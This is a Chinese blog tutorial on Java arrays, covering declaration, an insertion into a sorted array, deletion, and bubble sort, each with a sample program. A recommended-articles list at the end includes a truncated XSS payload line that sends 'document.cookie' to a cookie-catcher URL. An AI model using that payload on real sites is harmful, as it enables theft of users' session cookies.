Java中数组的几个常用算法:插入算法,删除算法,冒泡排序算法
前言:
在Java中我们常常会用数组,提到数组就不得不介绍数组中常用到的几个算法。
有插入算法,删除算法,冒泡排序算法等。
在学习这几个数组的算法前,我们先来了解一下关于数组一些基本知识。
数组的基本知识:
数组的定义:数组(Array)是相同数据类型的数据的有序集合。
数组是引用数据类型。
数组的三个特点:
[1]数组长度是确定。数组一旦申请完空间,长度不能发生变化,用length属性访问。
[2]数组的元素都是同一数据类型。
[3]数组是有序的 。每个元素通过下标/索引标记,索引从0开始。
关于内存的空间的一些知识:
内存分为两类:
栈(stack)内存:基本数据类型分配在栈内存,栈内存空间不需要开发者回收,系统会自动回收。栈空间占整个内存空间的比例较小。
堆(heap)内存:引用数据类型分配在堆内存,堆内存一定要开发者通过new 来申请,开发者申请的内存使用完成后一定要回收。jvm中有专门的垃圾回收机制(gc)回收使用完的堆内存。堆空间占整个内存空间的比例较大。
数组的几种声明方法:
例如
(1)int[] arr = new int[5];
arr[0] = 10;
arr[1] = 20;
arr[2] = 30;
arr[3] = 40;
arr[4] = 50;
( 2 ) int[] arr2;
arr2 = new int[]{10,20,30,30,50};
(3)int[] arr2 = {10,20,30,40,50};
数组的算法:
(1)插入算法:一个数组有序,添加一个元素后,数组依然有序。
代码如下:
import java.util.Scanner; public class Test05{
public static void main(String[] args){
//一个数组有序,添加一个元素后,数组依然有序。
int[] arr = {1,3,7,9,10,13,0}; Scanner input = new Scanner(System.in);
System.out.println("请添加一个数:");
int t = input.nextInt();
//int t = 8;
//(1)找出位置
int loc = -1;
for(int i = 0;i < arr.length-1;i++){
if(arr[i] > t){
loc = i;
break;
}
}
System.out.println("loc=" + loc );
//(2)调t的位置
if(loc < 0){ //t在最后一位
arr[arr.length-1] = t;
}else{ //将loc后面几位数往后移动
for(int j = arr.length-1;j>loc;j--){
arr[j]=arr[j-1];
}
//将t放进去
arr[loc] = t;
}
//检验,遍历数组
for(int i = 0;i < arr.length;i++){
System.out.print(arr[i]+ "\t");
}
}
}
(2)删除算法:一个有序的数组,删除一个元素后依然有序。
代码如下:
import java.util.Scanner;
public class Test06{
public static void main(String[] args){ //一个有序的数组,删除一个元素后依然有序。
int[] arr = {1,3,5,7,9,10,17,23}; //删除t
Scanner input = new Scanner(System.in);
System.out.println("请输入要删除的数:");
int t = input.nextInt();
//int t = 3; //(1)找出要删除的数的位置
int loc = -1;
for(int i = 0;i < arr.length;i++){
if(arr[i] == t){
loc = i;
break;
}
} //(2)移动元素
if(loc < 0){
System.out.println(t+"不在数组中");
}else{
for(int j = loc;j < arr.length-1;j++){
arr[j] = arr[j+1];
}
}
//最后一个元素置0
arr[arr.length-1] = 0;
//检验,遍历数组
for(int i = 0;i < arr.length;i++){
System.out.print(arr[i] + "\t");
}
}
}
(3)冒泡排序算法作用:将一个无序的数组排列成有序的数组
代码如下:
public class Test07{
public static void main(String[] args){
//冒泡排序算法:用于将无序的数组排列成有序的
int[] arr = {3,2,1,4,7,5,9};
int temp = 0;
// 外层循环控制趟数
for(int i=0;i<arr.length;i++){
for(int j = 0;j < arr.length-1-i;j++){ //内层循环控制两两交换
if(arr[j] > arr[j+1]){
temp = arr[j];
arr[j] = arr[j+1];
arr[j+1] = temp;
}
}
}
//验证,遍历数组
for(int i = 0;i < arr.length;i++){
System.out.print(arr[i]+"\t");
}
}
}
Java中数组的几个常用算法:插入算法,删除算法,冒泡排序算法的更多相关文章
- 将java中数组转换为ArrayList的方法实例(包括ArrayList转数组)
方法一:使用Arrays.asList()方法 1 2 String[] asset = {"equity", "stocks", "gold&q ...
- java中数组的相关知识
1. 2.数组的命名方法 1)int[]ages=new int[5]; 2) int[]ages; ages=new int[5]; 3)int[]ags={1,2,3,4,5}; 4)int[ ...
- Java中数组的特性
转载:http://blog.csdn.net/zhangjg_blog/article/details/16116613 数组是基本上所有语言都会有的一种数据类型,它表示一组相同类型的数据的集合,具 ...
- 在java 中,数组与 List<T> 类型的相互转换
在java中,数组与List<T> 之前进行互相转换,转换方法可总结为以下几种: 一. 将 数组转换成List<T> 1. 使用 Collections 的addAll 方法 ...
- Java中数组的初始化方式
Java中数组的初始化方式 初始化方式有两种: 1.静态初始化:初始化时由程序猿显式指定每一个数组元素的初始值,由系统指定数组长度 2.动态初始化:初始化时由程序猿仅仅指定数组长度,由系统为数组 ...
- java中数组复制的两种方式
在java中数组复制有两种方式: 一:System.arraycopy(原数组,开始copy的下标,存放copy内容的数组,开始存放的下标,需要copy的长度); 这个方法需要先创建一个空的存放cop ...
- Java中数组的插入,删除,扩张
Java中数组是不可变的,但是可以通过本地的arraycop来进行数组的插入,删除,扩张.实际上数组是没变的,只是把原来的数组拷贝到了另一个数组,看起来像是改变了. 语法: System.arrayc ...
- java中数组、集合、字符串之间的转换,以及用加强for循环遍历
java中数组.集合.字符串之间的转换,以及用加强for循环遍历: @Test public void testDemo5() { ArrayList<String> list = new ...
- Java 中数组的内存分配
Java 中数组的内存分配 1.Java 程序在运行时,需要在内存中分配空间.为了提高运算效率,就对空间进行了不同区域的划分,因为每一片区域都有特定的处理数据和内存管理方式. 2.数组基本概念 数组是 ...
随机推荐
- Jmeter性能测试之参数化(二)
Jmeter参数化主要有3种方式: 1. Add--> Pre Processors--> User Parameters 2. Add--> Config Element--> ...
- CentOS7上RabbitMQ安装
因为RabbitMQ是由erlang实现的,所以要先安装erlang再安装rabbitMQ 一.配置yum软件源地址EPEL(EPEL是管理yum下载软件的软件,也可以说是一个软件仓库)后安装erla ...
- Win10环境下载安装MySQL Community 8.0.12
1.下载MySQL Community 8.0.12的免安装版,下载地址:https://dev.mysql.com/downloads/mysql/ 2.解压到D:\Program Files\My ...
- xsspayload
元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ...
- python使用urllib2 http 下载参数的try catch
import urllib2 req = urllib2.Request('http://blog.csdn.net/cqcre')try: urllib2.urlopen(req)except ur ...
- php生成随机字符串可指定纯数字、纯字母或者混合的
php 生成随机字符串 可以指定是纯数字 还是纯字母 或者混合的. 可以指定长度的. function rand_zifu($what,$number){ $string=''; for($i = 1 ...
- c#关键字和常用类型表快查
类型 字节 取值范围 说明 bool 1 true/false/null 布尔类型 char 2 0x0000~0xffff Unicode 16 位字符 byte 1 0~255 无符号的 8 位整 ...
- Java 多线程 sleep()方法与yield()方法的区别
sleep()方法与yield()方法的区别如下: 1 是否考虑线程的优先级不同 sleep()方法给其他线程运行机会时不考虑线程的优先级,也就是说,它会给低优先级的线程运行的机会.而yield()方 ...
- Java_深度剖析ConcurrentHashMap
本文基于Java 7的源码做剖析. ConcurrentHashMap的目的 多线程环境下,使用Hashmap进行put操作会引起死循环,导致CPU利用率接近100%,所以在并发情况下不能使用Hash ...
- 输入,输出与Mad Libs游戏
name1=input('请输入一个名字') name2=input('请输入一个名字') car=input('请输入一种车子') print('饥饿的{}看到{}穿着三级甲骑着{}下山'.form ...